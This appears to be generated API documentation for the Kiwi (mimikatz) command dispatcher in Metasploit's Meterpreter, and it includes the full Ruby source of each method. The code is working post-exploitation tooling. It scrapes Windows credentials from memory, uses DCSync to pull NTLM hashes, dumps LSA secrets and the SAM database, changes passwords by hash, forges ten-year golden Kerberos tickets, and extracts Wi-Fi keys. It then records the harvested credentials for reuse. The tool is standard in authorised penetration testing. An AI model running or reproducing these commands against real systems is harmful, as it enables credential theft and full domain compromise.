Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi
- Defined in:
- lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb
Overview
Kiwi extension - grabs credentials from windows memory (newer OSes).
Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz
extension converted by OJ Reeves (TheColonial)
Constant Summary collapse
- Klass =
Console::CommandDispatcher::Kiwi
- @@password_change_usage_opts =
Valid options for the password change feature
Rex::Parser::Arguments.new( '-h' => [false, 'Help banner'], '-u' => [true, 'User name of the password to change.'], '-s' => [true, 'Server to perform the action on (eg. Domain Controller).'], '-p' => [true, 'The known existing/old password (do not use with -n).'], '-n' => [true, 'The known existing/old hash (do not use with -p).'], '-P' => [true, 'The new password to set for the account (do not use with -N).'], '-N' => [true, 'The new hash to set for the account (do not use with -P).'] )
- @@golden_ticket_create_opts =
Valid options for the golden ticket creation functionality.
Rex::Parser::Arguments.new( '-h' => [ false, 'Help banner' ], '-u' => [ true, 'Name of the user to create the ticket for (required)' ], '-i' => [ true, 'ID of the user to associate the ticket with' ], '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ], '-d' => [ true, 'FQDN of the target domain (required)' ], '-k' => [ true, 'krbtgt domain user NTLM hash' ], '-t' => [ true, 'Local path of the file to store the ticket in (required)' ], '-s' => [ true, 'SID of the domain' ], '-e' => [ true, 'End in ... Duration in hours (ex: -e 10 for 10 hours), default 10 YEARS'] )
- @@kerberos_ticket_list_opts =
Valid options for the ticket listing functionality.
Rex::Parser::Arguments.new( '-h' => [ false, 'Help banner' ], )
- @@creds_opts =
Rex::Parser::Arguments.new( '-o' => [ true, 'Write the output to the specified file.' ], '-h' => [ false, 'Help menu.' ] )
Instance Attribute Summary
Attributes included from Ui::Text::DispatcherShell::CommandDispatcher
Instance Method Summary collapse
- #check_is_domain_user(msg = 'Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)') ⇒ Object protected
- #check_is_system ⇒ Object protected
-
#cmd_creds_all(*args) ⇒ Object
Dump all the possible credentials to screen.
-
#cmd_creds_kerberos(*args) ⇒ Object
Dump all Kerberos credentials to screen.
-
#cmd_creds_livessp(*args) ⇒ Object
Dump all LiveSSP credentials to screen.
-
#cmd_creds_msv(*args) ⇒ Object
Dump all msv credentials to screen.
-
#cmd_creds_ssp(*args) ⇒ Object
Dump all SSP credentials to screen.
-
#cmd_creds_tspkg(*args) ⇒ Object
Dump all TSPKG credentials to screen.
-
#cmd_creds_usage(provider) ⇒ Object
Displays information about the various creds commands.
-
#cmd_creds_wdigest(*args) ⇒ Object
Dump all wdigest credentials to screen.
- #cmd_dcsync(*args) ⇒ Object
- #cmd_dcsync_ntlm(*args) ⇒ Object
-
#cmd_golden_ticket_create(*args) ⇒ Object
Invoke the golden kerberos ticket creation functionality on the target.
-
#cmd_kerberos_ticket_list(*args) ⇒ Object
Invoke the kerberos ticket listing functionality on the target machine.
-
#cmd_kerberos_ticket_purge(*args) ⇒ Object
Invoke the kerberos ticket purging functionality on the target machine.
-
#cmd_kerberos_ticket_use(*args) ⇒ Object
Use a locally stored Kerberos ticket in the current session.
- #cmd_kiwi_cmd(*args) ⇒ Object
-
#cmd_lsa_dump_sam(*args) ⇒ Object
Invoke the LSA SAM dump on thet target.
-
#cmd_lsa_dump_secrets(*args) ⇒ Object
Invoke the LSA secret dump on thet target.
- #cmd_password_change(*args) ⇒ Object
- #cmd_password_change_usage ⇒ Object
-
#cmd_wifi_list(*args) ⇒ Object
Dump all the wifi profiles/credentials for the current user.
-
#cmd_wifi_list_shared(*args) ⇒ Object
Dump all the shared wifi profiles/credentials.
-
#commands ⇒ Object
List of supported commands.
- #create_cred(credential_data, domain = '') ⇒ Object protected
- #display_wifi_profiles(profiles) ⇒ Object protected
-
#golden_ticket_create_usage ⇒ Object
Output the usage for the ticket listing functionality.
-
#initialize(shell) ⇒ Kiwi
constructor
Initializes an instance of the priv command interaction.
-
#kerberos_ticket_list_usage ⇒ Object
Output the usage for the ticket listing functionality.
-
#name ⇒ Object
Name for this dispatcher.
- #report_creds(type, user, domain, secret) ⇒ Object protected
- #report_smb_cred(credential_core) ⇒ Object protected
-
#scrape_passwords(provider, method, args) ⇒ void
protected
Invoke the password scraping routine on the target.
-
#to_hex(value, sep = '') ⇒ String
protected
Helper function to convert a potentially blank value to hex and have the outer spaces stripped.
Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
check_hash, #client, #docs_dir, #filter_commands, #log_error, #msf_loaded?, #session, set_hash, #unknown_command
Methods included from Msf::Ui::Console::CommandDispatcher::Session
#cmd_background, #cmd_background_help, #cmd_exit, #cmd_irb, #cmd_irb_help, #cmd_irb_tabs, #cmd_pry, #cmd_pry_help, #cmd_resource, #cmd_resource_help, #cmd_resource_tabs, #cmd_sessions, #cmd_sessions_help
Methods included from Ui::Text::DispatcherShell::CommandDispatcher
#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt
Constructor Details
#initialize(shell) ⇒ Kiwi
Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz software.
37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 37 def initialize(shell) super print_line print_line(" .#####. mimikatz 2.2.0 20191125 (#{client.session_type})") print_line(" .## ^ ##. \"A La Vie, A L'Amour\" - (oe.eo)") print_line(" ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )") print_line(" ## \\ / ## > http://blog.gentilkiwi.com/mimikatz") print_line(" '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )") print_line(" '#####' > http://pingcastle.com / http://mysmartlogon.com ***/") print_line si = client.sys.config.sysinfo if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64 print_warning('Loaded x86 Kiwi on an x64 architecture.') print_line end end |
Instance Method Details
#check_is_domain_user(msg = 'Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)') ⇒ Object (protected)
544 545 546 547 548 549 550 551 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 544 def check_is_domain_user(msg='Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)') if client.sys.config.is_system? print_warning(msg) return false end true end |
#check_is_system ⇒ Object (protected)
553 554 555 556 557 558 559 560 561 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 553 def check_is_system if client.sys.config.is_system? print_good('Running as SYSTEM') return true end print_warning('Not running as SYSTEM, execution may fail') false end |
#cmd_creds_all(*args) ⇒ Object
Dump all the possible credentials to screen.
465 466 467 468 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 465 def cmd_creds_all(*args) method = Proc.new { client.kiwi.creds_all } scrape_passwords('all', method, args) end |
#cmd_creds_kerberos(*args) ⇒ Object
Dump all Kerberos credentials to screen.
513 514 515 516 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 513 def cmd_creds_kerberos(*args) method = Proc.new { client.kiwi.creds_kerberos } scrape_passwords('kerberos', method, args) end |
#cmd_creds_livessp(*args) ⇒ Object
Dump all LiveSSP credentials to screen.
497 498 499 500 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 497 def cmd_creds_livessp(*args) method = Proc.new { client.kiwi.creds_livessp } scrape_passwords('livessp', method, args) end |
#cmd_creds_msv(*args) ⇒ Object
Dump all msv credentials to screen.
481 482 483 484 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 481 def cmd_creds_msv(*args) method = Proc.new { client.kiwi.creds_msv } scrape_passwords('msv', method, args) end |
#cmd_creds_ssp(*args) ⇒ Object
Dump all SSP credentials to screen.
489 490 491 492 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 489 def cmd_creds_ssp(*args) method = Proc.new { client.kiwi.creds_ssp } scrape_passwords('ssp', method, args) end |
#cmd_creds_tspkg(*args) ⇒ Object
Dump all TSPKG credentials to screen.
505 506 507 508 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 505 def cmd_creds_tspkg(*args) method = Proc.new { client.kiwi.creds_tspkg } scrape_passwords('tspkg', method, args) end |
#cmd_creds_usage(provider) ⇒ Object
Displays information about the various creds commands
455 456 457 458 459 460 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 455 def cmd_creds_usage(provider) print_line("Usage: creds_#{provider} [options]") print_line print_line("Dump #{provider} credentials.") print_line(@@creds_opts.usage) end |
#cmd_creds_wdigest(*args) ⇒ Object
Dump all wdigest credentials to screen.
473 474 475 476 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 473 def cmd_creds_wdigest(*args) method = Proc.new { client.kiwi.creds_wdigest } scrape_passwords('wdigest', method, args) end |
#cmd_dcsync(*args) ⇒ Object
176 177 178 179 180 181 182 183 184 185 186 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 176 def cmd_dcsync(*args) check_is_domain_user if args.length != 1 print_line('Usage: dcsync <DOMAIN\user>') print_line return end print_line(client.kiwi.dcsync(args[0])) end |
#cmd_dcsync_ntlm(*args) ⇒ Object
188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 188 def cmd_dcsync_ntlm(*args) check_is_domain_user if args.length != 1 print_line('Usage: dcsync_ntlm <DOMAIN\user>') print_line return end user = args[0] result = client.kiwi.dcsync_ntlm(user) if result print_good("Account : #{user}") print_good("NTLM Hash : #{result[:ntlm]}") print_good("LM Hash : #{result[:lm]}") print_good("SID : #{result[:sid]}") print_good("RID : #{result[:rid]}") else print_error("Failed to retrieve information for #{user}") end print_line end |
#cmd_golden_ticket_create(*args) ⇒ Object
Invoke the golden kerberos ticket creation functionality on the target.
261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 261 def cmd_golden_ticket_create(*args) if args.include?("-h") golden_ticket_create_usage return end target_file = nil opts = { user: nil, domain_name: nil, domain_sid: nil, krbtgt_hash: nil, user_id: nil, group_ids: nil, end_in: 87608 } @@golden_ticket_create_opts.parse(args) { |opt, idx, val| case opt when '-u' opts[:user] = val when '-d' opts[:domain_name] = val when '-k' opts[:krbtgt_hash] = val when '-t' target_file = val when '-i' opts[:user_id] = val.to_i when '-g' opts[:group_ids] = val when '-s' opts[:domain_sid] = val when '-e' opts[:end_in] = val.to_i end } # we need the user and domain at the very least unless opts[:user] && opts[:domain_name] && target_file golden_ticket_create_usage return end # is anything else missing? unless opts[:domain_sid] && opts[:krbtgt_hash] return unless check_is_domain_user('Unable to run module as SYSTEM unless krbtgt and domain sid are provided') # let's go discover it krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt' dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username) unless opts[:krbtgt_hash] opts[:krbtgt_hash] = dcsync_result[:ntlm] print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}") end unless opts[:domain_sid] domain_sid = dcsync_result[:sid].split('-') opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-') print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}") end end ticket = client.kiwi.golden_ticket_create(opts) ::File.open(target_file, 'wb') do |f| f.write(ticket) end print_good("Golden Kerberos ticket written to #{target_file}") end |
#cmd_kerberos_ticket_list(*args) ⇒ Object
Invoke the kerberos ticket listing functionality on the target machine.
354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 354 def cmd_kerberos_ticket_list(*args) if args.include?('-h') kerberos_ticket_list_usage return end output = client.kiwi.kerberos_ticket_list.strip if output == '' print_error('No kerberos tickets exist in the current session.') else print_good('Kerberos tickets found in the current session.') print_line(output) end print_line end |
#cmd_kerberos_ticket_purge(*args) ⇒ Object
Invoke the kerberos ticket purging functionality on the target machine.
373 374 375 376 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 373 def cmd_kerberos_ticket_purge(*args) client.kiwi.kerberos_ticket_purge print_good('Kerberos tickets purged') end |
#cmd_kerberos_ticket_use(*args) ⇒ Object
Use a locally stored Kerberos ticket in the current session.
381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 381 def cmd_kerberos_ticket_use(*args) if args.length != 1 print_line('Usage: kerberos_ticket_use ticketpath') return end target = args[0] ticket = '' ::File.open(target, 'rb') do |f| ticket += f.read(f.stat.size) end print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...") if client.kiwi.kerberos_ticket_use(ticket) print_good('Kerberos ticket applied successfully.') else print_error('Kerberos ticket application failed.') end end |
#cmd_kiwi_cmd(*args) ⇒ Object
82 83 84 85 86 87 88 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 82 def cmd_kiwi_cmd(*args) # Kiwi expects instructions with arguments to be quoted so quote everything to be sure # "You can pass instructions on mimikatz command line, those with arguments/spaces must be quoted." # Quote from: https://github.com/gentilkiwi/mimikatz/wiki output = client.kiwi.exec_cmd(args.map { |s| '"' + s + '"'}.join(' ')) print_line(output) end |
#cmd_lsa_dump_sam(*args) ⇒ Object
Invoke the LSA SAM dump on thet target.
225 226 227 228 229 230 231 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 225 def cmd_lsa_dump_sam(*args) return unless check_is_system print_status('Dumping SAM') print_line(client.kiwi.lsa_dump_sam) print_line end |
#cmd_lsa_dump_secrets(*args) ⇒ Object
Invoke the LSA secret dump on thet target.
214 215 216 217 218 219 220 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 214 def cmd_lsa_dump_secrets(*args) return unless check_is_system print_status('Dumping LSA secrets') print_line(client.kiwi.lsa_dump_secrets) print_line end |
#cmd_password_change(*args) ⇒ Object
109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 109 def cmd_password_change(*args) if args.length == 0 || args.include?('-h') cmd_password_change_usage return end opts = {} @@password_change_usage_opts.parse(args) { |opt, idx, val| case opt when '-u' opts[:user] = val when '-s' opts[:server] = val when '-p' opts[:old_pass] = val when '-n' opts[:old_hash] = val when '-P' opts[:new_pass] = val when '-N' opts[:new_hash] = val end } valid = true if opts[:old_pass] && opts[:old_hash] print_error('Options -p and -n cannot be used together.') valid = false end if opts[:new_pass] && opts[:new_hash] print_error('Options -P and -N cannot be used together.') valid = false end unless opts[:old_pass] || opts[:old_hash] print_error('At least one of -p and -n must be specified.') valid = false end unless opts[:new_pass] || opts[:new_hash] print_error('At least one of -P and -N must be specified.') valid = false end unless opts[:user] print_error('The -u parameter must be specified.') valid = false end if valid unless opts[:server] print_status('No server (-s) specified, defaulting to localhost.') end result = client.kiwi.password_change(opts) if result[:success] == true print_good("Success! New NTLM hash: #{result[:new]}") else print_error("Failed! #{result[:error]}") end end end |
#cmd_password_change_usage ⇒ Object
103 104 105 106 107 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 103 def cmd_password_change_usage print_line('Usage password_change [options]') print_line print_line(@@password_change_usage_opts.usage) end |
#cmd_wifi_list(*args) ⇒ Object
Dump all the wifi profiles/credentials for the current user
435 436 437 438 439 440 441 442 443 444 445 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 435 def cmd_wifi_list(*args) results = client.kiwi.wifi_list if results.length > 0 display_wifi_profiles(results) else print_line print_error('No wireless profiles found on the target.') end true end |
#cmd_wifi_list_shared(*args) ⇒ Object
Dump all the shared wifi profiles/credentials
404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 404 def cmd_wifi_list_shared(*args) interfaces_dir = client.sys.config.getenv('AllUsersProfile') + '\Microsoft\Wlansvc\Profiles\Interfaces' files = client.fs.file.search(interfaces_dir, '*.xml', true) if files.length == 0 print_error('No shared WiFi profiles found.') else interfaces = {} files.each do |f| interface_guid = f['path'].split("\\")[-1] full_path = "#{f['path']}\\#{f['name']}" interfaces[interface_guid] ||= [] interfaces[interface_guid] << full_path end results = client.kiwi.wifi_parse_shared(interfaces) if results.length > 0 display_wifi_profiles(results) else print_line print_error('No shared wireless profiles found on the target.') end end true end |
#commands ⇒ Object
List of supported commands.
58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 58 def commands { 'kiwi_cmd' => 'Execute an arbitrary mimikatz command (unparsed)', 'dcsync' => 'Retrieve user account information via DCSync (unparsed)', 'dcsync_ntlm' => 'Retrieve user account NTLM hash, SID and RID via DCSync', 'creds_wdigest' => 'Retrieve WDigest creds (parsed)', 'creds_msv' => 'Retrieve LM/NTLM creds (parsed)', 'creds_ssp' => 'Retrieve SSP creds', 'creds_livessp' => 'Retrieve Live SSP creds', 'creds_tspkg' => 'Retrieve TsPkg creds (parsed)', 'creds_kerberos' => 'Retrieve Kerberos creds (parsed)', 'creds_all' => 'Retrieve all credentials (parsed)', 'golden_ticket_create' => 'Create a golden kerberos ticket', 'kerberos_ticket_use' => 'Use a kerberos ticket', 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets', 'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)', 'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)', 'lsa_dump_sam' => 'Dump LSA SAM (unparsed)', 'password_change' => 'Change the password/hash of a user', 'wifi_list' => 'List wifi profiles/creds for the current user', 'wifi_list_shared' => 'List shared wifi profiles/creds (requires SYSTEM)', } end |
#create_cred(credential_data, domain = '') ⇒ Object (protected)
668 669 670 671 672 673 674 675 676 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 668 def create_cred(credential_data, domain = '') unless domain.blank? credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN credential_data[:realm_value] = domain end credential_core = shell.framework.db.create_credential(credential_data) credential_core end |
#display_wifi_profiles(profiles) ⇒ Object (protected)
520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 520 def display_wifi_profiles(profiles) profiles.each do |r| header = r[:guid] header = "#{r[:desc]} - #{header}" if r[:desc] table = Rex::Text::Table.new( 'Header' => header, 'Indent' => 0, 'SortIndex' => 0, 'Columns' => [ 'Name', 'Auth', 'Type', 'Shared Key' ] ) print_line r[:profiles].each do |p| table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]] end print_line(table.to_s) print_line("State: #{r[:state] || 'Unknown'}") end end |
#golden_ticket_create_usage ⇒ Object
Output the usage for the ticket listing functionality.
251 252 253 254 255 256 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 251 def golden_ticket_create_usage print_line('Usage: golden_ticket_create [options]') print_line print_line('Create a golden kerberos ticket that expires in 10 years time.') print_line(@@golden_ticket_create_opts.usage) end |
#kerberos_ticket_list_usage ⇒ Object
Output the usage for the ticket listing functionality.
344 345 346 347 348 349 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 344 def kerberos_ticket_list_usage print_line('Usage: kerberos_ticket_list [options]') print_line print_line('List all the available Kerberos tickets.') print_line(@@kerberos_ticket_list_opts.usage) end |
#name ⇒ Object
Name for this dispatcher
28 29 30 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 28 def name 'Kiwi' end |
#report_creds(type, user, domain, secret) ⇒ Object (protected)
678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 678 def report_creds(type, user, domain, secret) if client&.db_record&.id.nil? wlog('The session is not stored correctly in the database. Something went wrong.') return end credential_data = { origin_type: :session, post_reference_name: 'kiwi', private_data: nil, private_type: nil, session_id: client.db_record.id, username: user, workspace_id: shell.framework.db.workspace.id } return if (user.empty? || secret.eql?('(null)')) case type when :msv ntlm_hash = secret.strip.downcase if ntlm_hash != Metasploit::Credential::NTLMHash::BLANK_NT_HASH ntlm_hash = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{ntlm_hash}" # Assemble data about the credential objects we will be creating credential_data[:private_type] = :ntlm_hash credential_data[:private_data] = ntlm_hash credential_core = create_cred(credential_data, domain) report_smb_cred(credential_core) end when :wdigest, :kerberos, :tspkg, :livessp, :ssp # Assemble data about the credential objects we will be creating credential_data[:private_type] = :password credential_data[:private_data] = secret credential_core = create_cred(credential_data, domain) report_smb_cred(credential_core) end end |
#report_smb_cred(credential_core) ⇒ Object (protected)
653 654 655 656 657 658 659 660 661 662 663 664 665 666 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 653 def report_smb_cred(credential_core) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED, address: client.sock.peerhost, port: 445, service_name: 'smb', protocol: 'tcp', workspace_id: shell.framework.db.workspace.id } shell.framework.db.create_credential_login(login_data) end |
#scrape_passwords(provider, method, args) ⇒ void (protected)
This method returns an undefined value.
Invoke the password scraping routine on the target.
573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 573 def scrape_passwords(provider, method, args) if args.include?('-h') cmd_creds_usage(provider) return end return unless check_is_system print_status("Retrieving #{provider} credentials") accounts = method.call output = "" accounts.keys.each do |k| next if accounts[k].length == 0 # Keep track of the columns that we were given, in # the order we are given them, while removing duplicates columns = [] existing = Set.new accounts[k].each do |acct| acct.keys.each do |k| unless existing.include?(k) columns << k existing.add(k) end end end table = Rex::Text::Table.new( 'Header' => "#{k} credentials", 'Indent' => 0, 'SortIndex' => 0, 'Columns' => columns ) accounts[k].each do |acct| values = [] # Iterate through the given columns and match the values up # correctly based on the index of the column header. columns.each do |c| col_idx = acct.keys.index(c) # If the column exists, we'll use the value that is associated # with the column based on its index if col_idx values << acct.values[col_idx] else # Otherwise, just add a blank value values << '' end end if !shell.framework.nil? && shell.framework.db.active user, domain, secret = values report_creds(k, user, domain, secret) end table << values end output << table.to_s + "\n" end print_line(output) # determine if a target file path was passed in file_index = args.index('-o') unless file_index.nil? if args.length > file_index + 1 # try to write the file to disk begin ::File.write(args[file_index + 1], output) print_good("Output written to #{args[file_index + 1]}") rescue print_error("Unable to write to #{args[file_index + 1]}") end else print_error('Missing file path for -o parameter') end end return true end |
#to_hex(value, sep = '') ⇒ String (protected)
Helper function to convert a potentially blank value to hex and have the outer spaces stripped
723 724 725 |
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 723 def to_hex(value, sep = '') Rex::Text.to_hex(value || '', sep).strip end |